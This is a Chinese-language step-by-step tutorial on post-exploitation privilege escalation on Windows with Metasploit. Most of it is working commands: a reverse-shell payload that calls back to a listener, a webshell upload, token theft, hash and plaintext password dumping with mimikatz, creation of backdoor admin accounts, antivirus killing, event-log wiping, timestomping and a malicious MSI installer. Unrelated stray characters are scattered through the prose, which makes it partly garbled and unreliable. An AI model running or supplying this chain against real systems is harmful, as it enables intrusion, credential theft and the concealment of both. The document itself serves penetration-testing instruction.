前言
提權(quán)何須收集各種EXP帮碰,一個MSF就夠了炒嘲,本文為大家?guī)鞰SF綜合提權(quán)的一些姿勢。
文章內(nèi)容:
學(xué)習(xí)`Meterpreter`自動提權(quán)
學(xué)習(xí)溢出漏洞模塊提權(quán)
學(xué)習(xí)后續(xù)提權(quán)操作
學(xué)習(xí)`AlwaysInstallElevated`提權(quán)
part1 Meterpreter自動提權(quán)
本部分主要學(xué)習(xí)在獲得目標(biāo)機(jī)器的一定權(quán)限后,如何使用`Metasploit`獲得的`Meterpreter`會話進(jìn)行基本的提權(quán)操作赖钞。
步驟1 生成后門程序
攻擊荷載的生成我們需要用到`msfVENOM`:
`metasploit-framework`旗下的`msfpayload`(荷載生成器)幅慌,`msfencoder`(編碼器)宋欺,`msfcli`(監(jiān)聽接口)已然成為歷史,取而代之的是**`msfvenom`**.
我們在kali的命令行下直接執(zhí)行以下命令獲得一個針對windows的反彈型木馬:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe
這里我們?yōu)樯傻哪抉R指定了`payload`為`windows/meterpreter/reverse_tcp`,反彈到的監(jiān)聽端地址為`172.16.11.2`胰伍,監(jiān)聽端口為`4444`齿诞,文件輸出格式為`exe`并保存到路徑`/tmp/hack.exe`
如下返回信息:
No platform was selected, choosing Msf::Module:latform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Saved as: /tmp/hack.exe
>返回信息主要說明:本次生成的攻擊荷載(木馬程序)針對于windows的32位類型系統(tǒng),文件大小333字節(jié)(可見攻擊荷載何其短小精悍)骂租,還說明了文件保存路徑祷杈。
步驟2 執(zhí)行監(jiān)聽
在Metasploit使用`use`命令載入監(jiān)聽模塊`exploit/multi/handler`:
use exploit/multi/handler
接著使用如下命令設(shè)置payload為`windows/meterpreter/reverse_tcp`:
set payload windows/meterpreter/reverse_tcp
我們需要設(shè)置本地監(jiān)聽主機(jī)為本機(jī)ip`172.16.11.2`:
set LHOST 172.16.11.2
然后我們使用以下命令查看相關(guān)參數(shù)是否設(shè)置完畢:
show options
我們得到了以下主要信息,可知渗饮,監(jiān)聽端的主機(jī)和監(jiān)聽端口都已設(shè)置完畢:
Module options (exploit/multi/handler):
Payload options (windows/meterpreter/reverse_tcp):
LHOST? ???172.16.11.2? ? The listen address
LPORT? ???4444? ?? ?? ???The listen port
輸入exploit命令開啟我們配置的模塊進(jìn)行監(jiān)聽:
步驟3 上傳并執(zhí)行木馬
通過腳本木馬上傳并運行但汞,此處假設(shè)我們通過一系列的滲透測試得到了目標(biāo)機(jī)器的webshell。
我們通過腳本木馬的文件管理功能把我們上述生成的木馬`hack.exe`上傳成功互站,并且我們得知私蕾,該程序的絕對路徑為:
c:\www\hack.exe
接著,我們嘗試通過腳本木馬的命令執(zhí)行功能運行我們上述上傳的的木馬胡桃,
c:/www/hack.exe//為避免字符轉(zhuǎn)義踩叭,路徑這里我們使用的是'/'
那么在執(zhí)行之后,我們看到大型腳本木馬顯示為請稍后的狀態(tài)翠胰,我們切換到之前監(jiān)聽的Metasploit命令行窗口懊纳,可以看到,目標(biāo)機(jī)正在回連亡容,且Meterpreter會話創(chuàng)建成功:
如上嗤疯,我們已經(jīng)取得了目標(biāo)機(jī)的Meterpreter會話。
步驟4 Meterpreter基礎(chǔ)提權(quán)
>`Meterpreter` 是 Metasploit 框架中的一個殺手锏,通常作為漏洞溢出后的攻擊在和使用, 攻擊在和在出發(fā)漏洞后能夠返回給我們一個控制通道.
接下來我們使用`Meterpreter`會話進(jìn)行自動化提權(quán)操作闺兢,直接執(zhí)行以下命令茂缚,MSF會自動選擇合適的方式來提升當(dāng)前權(quán)限:
getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
如上返回則說明`Meterpreter`會話自動提權(quán)成功。
這個時候屋谭,如果我們此目標(biāo)機(jī)屬于某個域環(huán)境內(nèi)脚囊,并且有域管理員運行的程勛,我們就可以從一個給定的進(jìn)程PID中竊取一個域管理員組令牌桐磁,做一些有意思的事(如:添加一個域賬戶悔耘,并把域賬戶添加到域管理員組中)。
在`Meterpreter`會話執(zhí)行ps命令查看目標(biāo)機(jī)當(dāng)前進(jìn)程:
假設(shè)此處看到了一個進(jìn)程我擂,運行賬戶是域管理員衬以,我們可以再第一欄找到對應(yīng)的進(jìn)程PID缓艳,(實際我們這里找個任意的SYSTEM賬戶運行的進(jìn)程),PID為2584:
然后我們可以執(zhí)行以下語句竊取該用戶進(jìn)程的令牌:
steal_token 2584
這種方式一般被用于盜取域管理員的token看峻,然后我們執(zhí)行:`getuid`看一下會發(fā)現(xiàn)當(dāng)前已經(jīng)冒稱`SYSTEM`用戶成功:
既然已經(jīng)是`SYSTEM`權(quán)限阶淘,接著我們嘗試執(zhí)行以下命令從SAM數(shù)據(jù)庫中導(dǎo)出密碼的哈希值:
`注意`:在windows 2008 中,如果`getsystem`命令和`hashdump`命令拋出異常情況時互妓,你需要遷移到一個以`SYSTEM`系統(tǒng)權(quán)限運行的進(jìn)程中,我們后續(xù)介紹溪窒。
執(zhí)行以下shell命令在一個`Meterpreter`會話界面中使用`cmd shell`:
此`cmdshell`當(dāng)然是繼承的`Meterpreter`會話的`system`權(quán)限,我們嘗試在目標(biāo)機(jī)器執(zhí)行以下cmd命令添加一個賬戶`test`:
net user test v5est0r /add
net localgroup administrators test /add
隨后我們利用`Meterpreter`會話打開目標(biāo)機(jī)器遠(yuǎn)程桌面服務(wù)的3398端口(此模塊根據(jù)實踐測試僅支持windows 2003的主機(jī)):
run getgui -e
Windows Remote Desktop Configuration Meterpreter Script by DarkoperatorCarlos Perezcarlos_perez@darkoperator.comEnabling Remote DesktopRDP is already enabledSetting Terminal Services service startup modeTerminal Services service is already set to autoOpening port in local firewall if necessaryFor cleanup use command: run multi_console_command -rc
返回如上信息說明遠(yuǎn)程終端服務(wù)開啟成功冯勉。
最后我們新建一個終端窗口澈蚌,執(zhí)行以下命令調(diào)用`rdesktop`連接目標(biāo)機(jī)器的遠(yuǎn)程桌面:
rdesktop -u test -p v5est0r 172.16.12.2
`-u`:制定用戶名 `-p`:指定密碼
如上圖,我們成功登入目標(biāo)機(jī)的遠(yuǎn)程桌面灼狰。
part2 溢出漏洞模塊提權(quán)
一般來說webshell對應(yīng)的web服務(wù)的權(quán)限是很低的惜浅,一般都是`user`權(quán)限的,但也遇到過某些服務(wù)器執(zhí)行后就直接是`system`最高權(quán)限伏嗜。像這種情況一般直接加用戶坛悉。
如果權(quán)限較低,我們要把它提升到`system`權(quán) - Windows最高權(quán)限承绸,黑客一般通過提權(quán)的EXP程序進(jìn)行提權(quán)裸影,我們會在后續(xù)的實驗里介紹。
當(dāng)然军熏,在MSF下調(diào)用溢出漏洞模塊提權(quán)也是個好辦法轩猩。
`緩沖區(qū)溢出`:
緩沖區(qū)是用戶為程序運行時在計算機(jī)中申請的一段連續(xù)的內(nèi)存,它保存了給定類型的數(shù)據(jù)荡澎。緩沖區(qū)溢出指的是一種常見且危害很大的系統(tǒng)攻擊手段均践,通過向程序的緩沖區(qū)寫入超出其長度的內(nèi)容,造成緩沖區(qū)的溢出摩幔,從而破壞程序的堆棧彤委,使程序轉(zhuǎn)而執(zhí)行其他的指令,以達(dá)到攻擊的目的或衡。更為嚴(yán)重的是焦影,緩沖區(qū)溢出攻擊占了遠(yuǎn)程網(wǎng)絡(luò)攻擊的絕大多數(shù),這種攻擊可以使得一個匿名的Internet用戶有機(jī)會獲得一臺主機(jī)的部分或全部的控制權(quán)封断!由于這類攻擊使任何人都有可能取得主機(jī)的控制權(quán)斯辰,所以它代表了一類極其嚴(yán)重的安全威脅。
步驟1 調(diào)用漏洞模塊
首先坡疼,請參照上述`Meterpreter自動提權(quán)`部分的實驗內(nèi)容獲得目標(biāo)機(jī)器的一個可用的`Meterpreter`會話彬呻,接著我們在`Meterpreter`會話輸入以下命令:
background
//把你當(dāng)前的Meterpreter會話轉(zhuǎn)為后臺執(zhí)行。
接著我們在MSF命令行執(zhí)行以下命令搜索微軟2015年的可用漏洞模塊:
search ms15
// 搜索關(guān)鍵字相關(guān)的漏洞
如下圖,我們查到了許多漏洞模塊:
我選擇了`MS15_051`這個漏洞進(jìn)行提權(quán)闸氮,執(zhí)行以下命令:
use exploit/windows/local/ms15_051_client_copy_image
然后我們需要為此活動模塊指定為哪個`session`進(jìn)行提權(quán)操作剪况,我們執(zhí)行以下命令指定服務(wù)`session`為`1`:
set??SESSION 1
// 設(shè)置會剛才我們后門連接的ID號 1,我們這里只有一個會話湖苞,直接連接1
漏洞模塊利用只需要指定`session`無需其他參數(shù)拯欧。
步驟2 執(zhí)行溢出
接著我們直接執(zhí)行以下命令調(diào)用漏洞模塊進(jìn)行提權(quán)操作:
exploit
//執(zhí)行提權(quán)...
根據(jù)返回信息我們可以看見沒有創(chuàng)建新的`session`详囤,并提醒當(dāng)前已經(jīng)被提升到了`system`權(quán)限财骨。如果當(dāng)前不是`system`權(quán)限,將會被提升到`system`的一個進(jìn)程藏姐,并提供出進(jìn)程pid.
一般來說隆箩,即使提權(quán)成功,我們執(zhí)行以下命令返回連接會話羔杨,但你`getuid`看下還是看見的還是原來的權(quán)限捌臊。
sessions -i 1
執(zhí)行`ps`一下查看進(jìn)程
根據(jù)剛才的提示找到上述提供的PID的進(jìn)程,我們這里就隨意找了一個`SYSTEM`權(quán)限進(jìn)行的進(jìn)程兜材,PID為`3240`
然后我們要用到`migrate`命令理澎,將當(dāng)前會話進(jìn)程遷移到一個指定的進(jìn)程ID。
migrate 3240
如上圖可見曙寡,進(jìn)程遷移成功糠爬。
然后我們再執(zhí)行`getuid`看下可以看見當(dāng)前為system權(quán)限了。
如上举庶,我們已經(jīng)模擬提升到了windows最高權(quán)限执隧。
part3 后續(xù)提權(quán)操作
本部分主要介紹`Meterpreter`會話的豐富的提權(quán)模塊支持的使用。
步驟1 基本信息搜集
檢測目標(biāo)機(jī)是否為虛擬機(jī)户侥。
在`Meterpreter`會話執(zhí)行以下命令即可:
run post/windows/gather/checkvm #是否虛擬機(jī)
此處判斷并不準(zhǔn)確镀琉,模塊代碼仍需完善。
通過meterpreter的killav腳本來殺死目標(biāo)主機(jī)運行的殺毒軟件:
在`Meterpreter`會話執(zhí)行以下命令即可:
run killav
看來此模塊仍需完善蕊唐,此處殺掉的進(jìn)程是cmd屋摔。不過有時候還是有用的。
獲取安裝軟件信息替梨,在`Meterpreter`會話執(zhí)行以下命令即可:
run post/windows/gather/enum_applications #獲取安裝軟件信息
獲取目標(biāo)機(jī)器最近的文件操作凡壤,在`Meterpreter`會話執(zhí)行以下命令即可:
run post/windows/gather/dumplinks? ?#獲取最近的文件操作
步驟2 hash與明文密碼讀取
獲取目標(biāo)機(jī)系統(tǒng)用戶Hash,耙替,在`Meterpreter`會話執(zhí)行以下命令即可:
run post/windows/gather/smart_hashdump
Running module against TESTINGHashes will be saved to the database if one is connected.Hashes will be saved in loot in JtR password file format to:/home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txtDumping password hashes...Running as SYSTEM extracting hashes from registryObtaining the boot key...Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...Obtaining the user list and keys...Decrypting user keys...Dumping password hints...
[+]? ???Croxy:"Whoareyou"Dumping password hashes...
[+]? ???Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]? ???HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+]? ???test:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::
如上我們獲得了本地賬戶的hask亚侠。
獲取明文密碼,我們需要先載入`mimikatz`模塊俗扇,硝烂,在`Meterpreter`會話執(zhí)行以下命令即可:
load mimikatz
然后需要確保當(dāng)前進(jìn)程為系統(tǒng)權(quán)限:直接執(zhí)行以下命令:
msv
如上圖,返回了以下信息:
[+] Running as SYSTEMRetrieving msv credentials
上述返回信息表明當(dāng)前進(jìn)程是`SYSTEM`權(quán)限.
然后執(zhí)行以下命令即可導(dǎo)出系統(tǒng)用戶明文密碼:
kerberos
如下圖铜幽,成功導(dǎo)出了明文密碼滞谢,`test`用戶密文為`v5est0r`:
執(zhí)行以下命令通過`mimikatz`命令行方式導(dǎo)出系統(tǒng)用戶hash:
meterpreter > mimikatz_command -f samdump::hashes
執(zhí)行以下命令通過`mimikatz`命令行方式導(dǎo)出系統(tǒng)用戶的明文密碼:
mimikatz_command -f sekurlsa::searchPasswords
步驟3 清理痕跡
直接執(zhí)行以下命令:
clearev
可以看到如下返回:
meterpreter > clearevWiping 2654 records from Application...
Wiping 137 records from System...
Wiping 212 records from Security...
可以看到該模塊正在從應(yīng)用串稀、系統(tǒng)、安全模塊三個方面清理歷史記錄痕跡狮杨。
其實MSF還提供了`timestomp`功能模塊還修改文件時間母截,但實戰(zhàn)測試中意義并不大,我們在這里只做科普:
meterpreter >timestomp c:\\www -c "09/09/1980 12:12:34"? ?修改文件創(chuàng)建時間
meterpreter > timestomp c:\\jzking121.txt -m "01/01/1991 12:12:34"??修改文件修改時間
meterpreter > timestomp c:\\jzking121.txt -f c:\\RHDSetup.log 講文件RHDSetup.log屬性復(fù)制到j(luò)zking121
實際測試使用偶爾有報錯橄教,可以登入服務(wù)器手工改文件時間清寇。
part 4 `AlwaysInstallElevated`提權(quán)
`AlwaysInstallElevated`是微軟允許非授權(quán)用戶以`SYSTEM`權(quán)限運行安裝文件(`MSI`)的一種設(shè)置。
步驟1 生成MSI安裝文件假設(shè)我們拿到`Meterpreter`會話后并沒能通過一些常規(guī)方式取得`SYSTEM`權(quán)限护蝶,`AlwaysInstallElevated`提權(quán)可能會為我們帶來一點希望华烟。
`AlwaysInstallElevated`是微軟允許非授權(quán)用戶以`SYSTEM`權(quán)限運行安裝文件(`MSI`)的一種設(shè)置。然而持灰,給予用于這種權(quán)利會存在一定的安全隱患盔夜,因為如果這樣做下面兩個注冊表的值會被置為"`1`":
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001
想查詢這兩個鍵值最簡單的方法就是使用CMD命令,我們先在`Meterpreter`會話下執(zhí)行`shell`切換到`cmdshell`:
在`cmdshell`下分別執(zhí)行以下命令可以查詢上述的注冊表鍵值:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
我們這里的查詢是報錯的。
`注意`:如果這條命令出錯類似于:The system was unable to find the specified registry key or value或者:
錯誤: 系統(tǒng)找不到指定的注冊表項或值堤魁。
這可能是組策略里`AlwaysInstallElevated`沒有被定義喂链,因此不存在相關(guān)聯(lián)的注冊表項。
現(xiàn)在我們假設(shè)`AlwaysInstallElevated`已經(jīng)啟用了妥泉,我們可以利用`msfvenom`工具來生成一個在目標(biāo)機(jī)器上增加管理員用戶的`MSI`安裝文件:
msfvenom -p windows/adduser USER=msi PASS=P@ssword123! -f msi -o /tmp/add.msi
//此處指定了添加的用戶椭微,用戶名為msi,密碼為:P@ssword123!
如上圖返回涛漂,MSI文件已經(jīng)成功生成到了`/tmp/add.msi`.
步驟2 執(zhí)行MSI文件提權(quán)
接著我們把該安裝文件上傳到目標(biāo)機(jī)的`c:\\add.msi`:
執(zhí)行以下命令即可:
upload /tmp/add.msi c:\\add.msi
當(dāng)我們在目標(biāo)機(jī)器上成功上傳了新生成的MSI文件后赏表,我們可以使用Windows命令行`Msiexec`工具進(jìn)行安裝(需要先執(zhí)行`shell`命令切換到`cmdshell`):
shell
msiexec /quiet /qn /i c:\add.msi
`msiexec`相關(guān)參數(shù)解釋如下:
`/quiet`:安裝過程中禁止向用戶發(fā)送消息
`/qn`:不使用GUI
`/i`:安裝程序
執(zhí)行后,我們可以在目標(biāo)機(jī)器上檢測我們新創(chuàng)建的管理員用戶
`cmdshell`下執(zhí)行以下命令查看管理組用戶列表:
net localgroup administrators
如上匈仗,我們很幸運的發(fā)現(xiàn)瓢剿,`msi`用戶名存在于管理組列表,Good job悠轩!
`注意`:使用`msvenom`創(chuàng)建MSI文件時使用了`always_install_elevated`模塊间狂,那么在安裝過程中會失敗。這是因為操作系統(tǒng)會阻止未注冊的安裝火架。
接著執(zhí)行以下命令登錄目標(biāo)機(jī)器的遠(yuǎn)程桌面服務(wù):
rdesktop -u msi -p P@ssword123! 172.16.12.2
如果目標(biāo)機(jī)沒有開啟遠(yuǎn)程桌面服務(wù)鉴象,可以再`cmdshell`下執(zhí)行以下命令以開啟:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
思考與總結(jié):
通過本文我們學(xué)習(xí)了借助Mtasploit的`Meterpreter`會話進(jìn)行基本的自動化提權(quán)操作。此部分作為基礎(chǔ)節(jié)點何鸡,還詳細(xì)介紹了`Meterpreter`會話的獲得纺弊、模塊參數(shù)設(shè)置等基本操作。
我們還學(xué)習(xí)了利用`Meterpreter`會話骡男,調(diào)用溢出漏洞模塊對特定的會話進(jìn)行溢出漏洞提權(quán)的的提權(quán)方式淆游、進(jìn)行提權(quán)前期的信息搜集和提權(quán)完畢后的信息采集和痕跡清理等基本操作、利用微軟的`AlwaysInstallElevated`設(shè)置不當(dāng)問題,生成惡意MSI文件進(jìn)行提權(quán)的提權(quán)方式犹菱。
提權(quán)屬于敏感操作拾稳,請在法律允許的范圍內(nèi)測試!